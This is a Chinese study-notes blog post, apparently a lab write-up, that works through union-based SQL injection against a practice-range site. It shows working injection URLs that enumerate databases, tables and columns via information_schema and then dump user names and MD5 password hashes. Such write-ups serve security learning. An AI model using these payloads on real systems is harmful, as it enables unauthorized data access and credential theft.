sql注入学习笔记–day01
靶场链接
目标网站:http://219.153.49.228:44554/new_list.php?id=1
分析:有参数id因此可能存在注入点
1. 寻找注入点
1.在url后加入 and 1=1 的恒等式查看
http://219.153.49.228:44554/new_list.php?id=1 and1=1
![图片](https://img-blog.csdnimg.cn/b494cb09dc204fa8b28795f64f5acc27.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1ZleGVkX1dpbHNvbg==,size_16,color_FFFFFF,t_70#pic_center
显示结果:页面正常返回
2.在url中加入恒不等式再次查看页面
http://219.153.49.228:44554/new_list.php?id=1 and 1=2
![1](https://img-blog.csdnimg.cn/c8beadac0ae1453ead2a681ed25cbc2f.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1ZleGVkX1dpbHNvbg==,size_16,color_FFFFFF,t_70#pic_center
页面返回为空白,因此确定存在与数据库的交互,可以确定有注入点
2.利用联合查询来查找数据库中的数据
1.使用order by指令来判断数据库中存在的字段位数
在数据库中,大多数时,表的“列”称为“字段” ,每个字段包含某一专题的信息。就像“通讯录”数据库中,“姓名”、“联系电话”这些都是表中所有行共有的属性,所以把这些列称为“姓名”字段和“联系电话”字段。
http://219.153.49.228:44554/new_list.php?id=1 order by 1
![1](https://img-blog.csdnimg.cn/6961aa80f7ee40f9b11eaab9ef970097.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1ZleGVkX1dpbHNvbg==,size_16,color_FFFFFF,t_70#pic_center
页面返回正常因此确定数据库中存在字段1
2.将order by后的参数按++来重复直到确定到上限
http://219.153.49.228:44554/new_list.php?id=1 order by 5
直到测试到5的时候页面出现非正常返回,因此可以确定表中的字段小于5
3.使用在and 1=2为空或错误返回值得基础上用union select 1,2,3…,N来判断标题和内容属于哪个字段从而得知注入点
http://219.153.49.228:44554/new_list.php?id=1%20and%201=2%20union%20select%201,2,3,4
页面标题返回值为2而内容部分返回值为3,因此可以判断标题处于第二个位置显示而内容则位于第三个位置显示
4.替换2,3位置为sql语句database(),version()从而达到查询目标数据库名称和版本号>
http://219.153.49.228:44554/new_list.php?id=1%20and%201=2%20union%20select%201,database(),version(),4
分析返回值可得出数据库名为mozhe_Discuz_StormGroup而版本号为5.7.22-0ubuntu0.16.04.1
5.使用语句SCHEMA_NAME替换2来选择从标题处显示,使用from information_schema.SCHEMATA limit 0,1来查询位于0,1的数据
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
分析解说:这里涉及到数据库information_schema、表SCHEMATA、列SCHEMA_NAME三个内容,数据库information_schema是MySQL系统自带的数据库,其中记录了当前数据库系统中大部分我们需要了结的信息,比如字符集,权限相关,数据库实体对象信息,外检约束,分区,压缩表,表信息,索引信息,参数,优化,锁和事物等等。说白了,就是这个默认自带的数据中,存储了MySQL的数据库名字、表名字、列名字和其他信息,通过information_schema我们可以查看整个MySQL实例的情况,limit 0,1意思是从第0行起,取1行数据,information_schema为获取的第1个数据库名称。
从返回页面得出位于表格0,1位置的数据为information_schema此为第一个数据库的名称
6.反复测试注入点更改n,m的数据从而查看整个表的内容
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1
直到5时返回值为空 说明数据库名查询完毕
7.改2为TABLE_NAME并使用语句from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit n,m来获取对应数据库"mozhe_Discuz_StormGroup"的数据表名称
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit 0,1
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit 1,1
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit 2,1
说明数据库mozhe_Discuz_StormGroup只有2个数据表,StormGroup_member、notice
8.替换2,3为COLUMN_NAME,COLUMN_TYPE并使用from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 0,1来查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中的第1个字段名称与类型
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 0,1
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 1,1
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 2,1
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 3,1
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 4,1
说明数据库mozhe_Discuz_StormGroup中的表StormGroup_member只有4个字段,名称为:id,name,password,status
9.替换2为count(*)使用语句from mozhe_Discuz_StormGroup.StormGroup_member来获取数据数量
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,count(*),3,4 from mozhe_Discuz_StormGroup.StormGroup_member
查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中数据总数,共有2条数据。
10.将2替换为CONCAT(name,’-’,password,’-’,status)并使用语句from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1来查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中的第1条数据的name、password、status的内容,三者之间用-连接起来
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,CONCAT(name,’-’,password,’-’,status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
获得第一条数据的name账户为mozhe,密码password为356f589a7df439f6f744ff19bb8092c0(md5加密后的密码,可通过解密获到明文),status账户状态为0。
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,CONCAT(name,’-’,password,’-’,status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1
得第一条数据的name账户为mozhe,密码password为3280b9edc8e1b528fccaf85c3780fabf(md5加密后的密码,可通过解密获到明文),status账户状态为1。